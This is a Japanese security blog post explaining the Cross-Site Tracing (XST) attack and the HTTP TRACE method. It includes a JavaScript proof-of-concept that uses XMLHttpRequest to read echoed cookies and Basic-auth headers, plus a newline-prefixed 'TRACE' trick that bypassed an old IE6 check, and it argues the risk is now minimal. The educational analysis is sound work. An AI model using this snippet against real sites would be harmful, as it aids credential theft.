このエントリでは、XSTという攻撃手法について説明し、XSTおよびTRACEメソッドについてどう考えればよいかを紹介します。
TRACEメソッドとは
HTTP 1.1(RFC2616)では、8種類のメソッドが定義されています。GET、POST、HEADなどはおなじみのものですが、それ以外にPUT、DELETE、OPTIONS、TRACE、CONNECTの5種があります。このうち、TRACEメソッドは、HTTPリクエストを「オウム返しに」HTTPレスポンスとして返すもので、以下のようにGET等の代わりにTRACEとしてWebサーバーにリクエストします。
レスポンスの例を以下に示します。TRACE /auth/index.php HTTP/1.1 Host: example.jp User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:18.0) Gecko/20100101 Firefox/18.0 Cookie: PHPSESSID=4lel0hml53u2tbhcd9pmo7pkc4 Authorization: Basic eWFtYWRhOnBhc3N3b3Jk Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 22 Jan 2013 13:51:09 GMT
Server: Apache/2.2.14 (Ubuntu)
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: message/http
Content-Length: 198
TRACE /auth/index.php HTTP/1.1
Host: example.jp
User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:18.0) Gecko/20100101 Firefox/18.0
Cookie: PHPSESSID=4lel0hml53u2tbhcd9pmo7pkc4
Authorization: Basic eWFtYWRhOnBhc3N3b3Jk
Connection: keep-alive
レスポンスボディ（青字の部分）に注目すると、HTTPリクエストがそのまま返されていることが分かります。この中には、CookieヘッダやAuthorizationヘッダも含まれます。Cross-Site Tracing(XST)攻撃とは
XST攻撃とは、XSSとTRACEメソッドを組み合わせた攻撃手法であり、2003年1月に発表されました。XSS単独では、XSSによりJavaScript等が動いているブラウザ上のレスポンス(ヘッダ及びボディ)は取得出来ますが、リクエストヘッダを取得することはできません。このため通常は、HttpOnly属性の指定されたCookieや、Authorizationヘッダ（Basic認証のIDとパスワード）を取得することはできません。
しかし、TRACEメソッドを実行すると、先に見たようにリクエストヘッダがそのままレスポンスとして返るので、XSS単独ではとることのできないHttpOnly属性の指定されたCookieや、Authorizationヘッダを盗み出すことができます。これがXST攻撃です。とくに、BASIC認証のIDとパスワードを盗むことができると、長期にわたって不正にログインすることができてしまうため、XSSの影響が大きくなります。
XST攻撃の実際
それでは、XST攻撃の実際を見てみましょう。以下はXST攻撃のコード例です。
<body>
<script type="text/javascript">
function sendTrace (trace) {
try {
var xhr = 0;
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
}
if (trace == 1) {
xhr.open("TRACE", "/auth/", false);
} else if (trace == 2) {
xhr.open("\nTRACE", "/auth/", false);
} else {
xhr.open("GET", "/auth/", false);
}
xhr.send();
res = xhr.responseText;
alert(res);
} catch (e) {
alert('Error:' + e.message);
}
}
</script>
<input type="button" onclick="sendTrace(0);" VALUE="GET">
<input type="button" onclick="sendTrace(1);" VALUE="TRACE">
<input type="button" onclick="sendTrace(2);" VALUE="\nTRACE">
</body>
Windows XP SP1のIE6での実行結果は下記となります。CookieとAuthrizationヘッダが取得できていることがわかります。この場合、HttpOnlyのCookieでも取得出来ます。
JavaScriptの例外が発生しています。これは、TRACEメソッドをXMLHttpRequestオブジェクトから発行することが禁止されたことを意味しています。
しかし、このチェックには漏れがあり、"TRACE"の代わりに、"\nTRACE"(先頭に改行を含む)の場合は、TRACEメソッドが通ってしまいます。この内容については金床さんの記事が参考になります。
このチェック漏れですが、SP2に対するパッチで修正された模様で、SP2にすべてのパッチを適用したIE6だと、エラーになります。
XSTがブラウザ側で対策されたのはいつ?
さて、現在ではすべてのブラウザでXST対策がとられ、XST攻撃を行うことはできなくなっています（参考:XMLHttpRequestオブジェクトを使ったTRACEメソッド送信のブラウザ対応状況を確認してみる）。それでは、ブラウザ側でXST対策されるようになったのはいつ頃でしょうか。上記のように、Windows XP SP2では不完全ながらXSTの対策がとられていますが、Windows XP SP2が出荷されたのは2004年9月ですから、当時既に「XSTはブラウザ側で対処すべし」という意識になっていたと思われます。また、GSXの白石さんの調査によると、IE以外のブラウザでXST攻撃ができたのは、Firefoxの1.0.5(2005年9月リリース)までであり、2005年11月リリースのFirefox1.5では攻撃が抑止されています。その他の、Opera、Google Chrome、Safariについては、XST可能なバージョンはありません。
これらの状況から、主要ブラウザに関しては2006年頃の段階では既にXSTの対策を終えており、現在サポートが継続されているバージョンについては、XST攻撃可能なブラウザはないと言えます。
XSTおよびTRACEメソッドをどのように捉えるか
このような状況にあるにも関わらず、最近でも「TRACEメソッドは危険」という記事を見かけることがあります（参考:TRACEメソッドって怖いんです - カイワレの大冒険）。しかし、以下の理由により、TRACEメソッドが危険というのは、あたらなくなっているというのが実情ではないでしょうか。- XSTは元々XSS脆弱性が存在しないと危険性はない
- XSS単独でも危険な脆弱性である
- XSTがなくてもXSS単体でBASIC認証のあるコンテンツを盗むことはできる
- 主要ブラウザでは5年ほど前からXST防御機能が入っている
- 古いブラウザを使うこと自体が大変危険な行為である
- XSTで万一BASIC認証のパスワードが漏洩すると影響が長期に及ぶ
- XSSを完全に排除することは実際には困難である
- TRACEメソッドはApacheの設定で極めて容易に止めることができ、副作用もない
このため、TRACEをサーバー側設定で禁止することはやってもよいと思いますが、いまやTRACEを許容しているからと言って、サーバー設定の脆弱性とまでは言えないと考えられます。
脆弱性診断の実務では、TRACEメソッドを許容した状態を多くの診断業者は指摘すると考えられますが、危険度は「情報」（脆弱性とまでは言えないが一応ご報告）が妥当と考えます。今時、TRACEメソッドの許容を「重大な脆弱性」と指摘する事業者がもしあれば、それはちと過剰な指摘だなと個人的には考えます。
昔の記事にコメントさせていただいて、大変恐縮なのでただの情報ではあるのですが。
返信削除IPAの「安全なウェブサイトの作り方」の最新版でも、
「Cookie情報の漏えい対策として、発行するCookieにHttpOnly属性を加え、TRACEメソッドを無効化する。」
https://www.ipa.go.jp/security/vuln/websecurity.html
と記述があるので、「重大な脆弱性」と言う認識はなかなか消えなさそうですね。